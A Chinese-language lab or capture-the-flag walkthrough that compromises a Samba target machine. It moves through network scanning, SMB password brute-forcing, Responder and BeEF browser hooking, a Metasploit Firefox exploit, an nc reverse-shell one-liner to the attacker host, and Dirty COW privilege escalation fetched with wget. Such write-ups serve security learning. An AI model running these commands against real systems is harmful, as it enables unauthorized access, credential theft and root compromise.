信息收集
主机发现
nmap 192.168.31.0/24 -Pn -T4
靶机IP:192.168.31.181
端口扫描
nmap 192.168.31.181 -A -p- -T4
开放端口139,445。靶机运行着Samba smbd 3.6.6服务。
渗透
enumlinux4枚举smb用户名
enumlinux4 192.168.31.181 -A
共享文件夹/IPC$
枚举得到用户名leopold
使用medusa进一步爆破密码。
medusa -u leopold -P /usr/share/wordlists/rockyou.txt -M smbnt -h 192.168.31.181
Password:123456
连接smb共享服务。
smbclient //192.168.31.181/IPC$ -U leopold
一般来说ls,cd,get这些命令可以直接使用的,但是这里需要加上感叹号,意思是执行所用的shell命令。发现有我们想要的文件user.flag,但是!get仍然不起作用,无法下载文件。
换个方式,直接使用smbclient下载指定文件。同样不行,给出理由NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \user.flag
大概是共享方式是只读。
smbclient //192.168.31.181/IPC$ -U leopold -c 'get user.flag'
漏洞库搜索有没有可用exp,searchsploit Samba 3.6.6
,根据exp提示,到msf中利用。
失败。
Responder
利用kali工具Responder,监听网络。如果有人访问了虚假的共享文件地址,就会获得该系统登录口令的哈希值,之后利用脚本进行hash爆破就能获得口令,再通过ipc建立空连接获得系统权限。是一种不用通过漏洞利用获取权限的方法。
Responder准备
编辑Responder.conf文件,指定只监听来自192.168.31.181的请求,并将请求重定向到本地文件,而这个本地文件内容是重定向到BeEF的勾子脚本,这样就能通过BeEF得到浏览器信息。
vim /usr/share/responder/Responder.conf
重定向文件redirect.html需要自行新建,例如这里在responder目录下的files目录中新建,具体内容如下:
<html><meta http-equiv="refresh" content="0; URL='http://192.168.31.219:3000/demos/basic.html'" /></html>
其中basic.html是BeEF中的勾子脚本,靶机浏览器访问这个页面就会被hook。所以需要使用docker启动BeEF。
Docker启动BeEF
docker run --rm -p 3000:3000 janes/beef
--rm 容器退出后自动清理容器
访问http://主机ip:3000/ui/authentication登录BeEF,账号密码是beef/beef。
开启Responder。
python Responder.py -I eth1 -v
# -I [指定网卡名]
此时BeEF就能接收到被hook的浏览器信息,转战MSF。
联动msf getshell
用到multi/browser/firefox_tostring_console_injection这个攻击模块,run之后会生成Using URL,靶机浏览器访问这个URL就会中招。
# 开启msf
msfconsole
# 使用模块
use multi/browser/firefox_tostring_console_injection
run
将redirect.html中重定向地址修改为http://192.168.31.219:8080/fzhrcuAGNwMpwrg。
再次使用Responder,等待一会后msf生成会话,需要使用sessions -i [会话id]
进入刚刚生成的会话。
反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.219 6666 > /tmp/f
攻击机nc监听6666端口。
get /home/leopold/flag.txt。
脏牛提权
uname -a
,linux内核版本是3.5.0-17,符合Linux内核>=2.6.22(2007年发行),即可以使用脏牛提权。
searchsploit dirty
# 查看exp详细信息
searchsploit -p xxxx
# 复制合适的exp到工作目录
searchsploit -m 40839.c
开启简易http服务,方便目标机下载。
# 攻击机
python -m http.server
# 目标机(找一个有执行权限的目录下载,例如/tmp)
wget http://192.168.31.219:8000/40839.c
编译40839.c
gcc -o dirtycow 40839.c -pthread -lcrypt
执行dirtycow,需要等待一段时间。
./dirtycow [新密码]
切换到firefart账户即可获得root权限。
get /root/flag.txt🎆
总结:靶机开放139,445端口,从爆破smb服务作为突破口发现get命令不可用,没法进一步获得信息。最终通过Responder联动BeEF,通过修改Responder.conf,使靶机访问指定页面(BeEF勾子页面)从而获取浏览器信息。再根据浏览器信息使用msf对应攻击模块攻击。最后提权用到的是脏牛提权。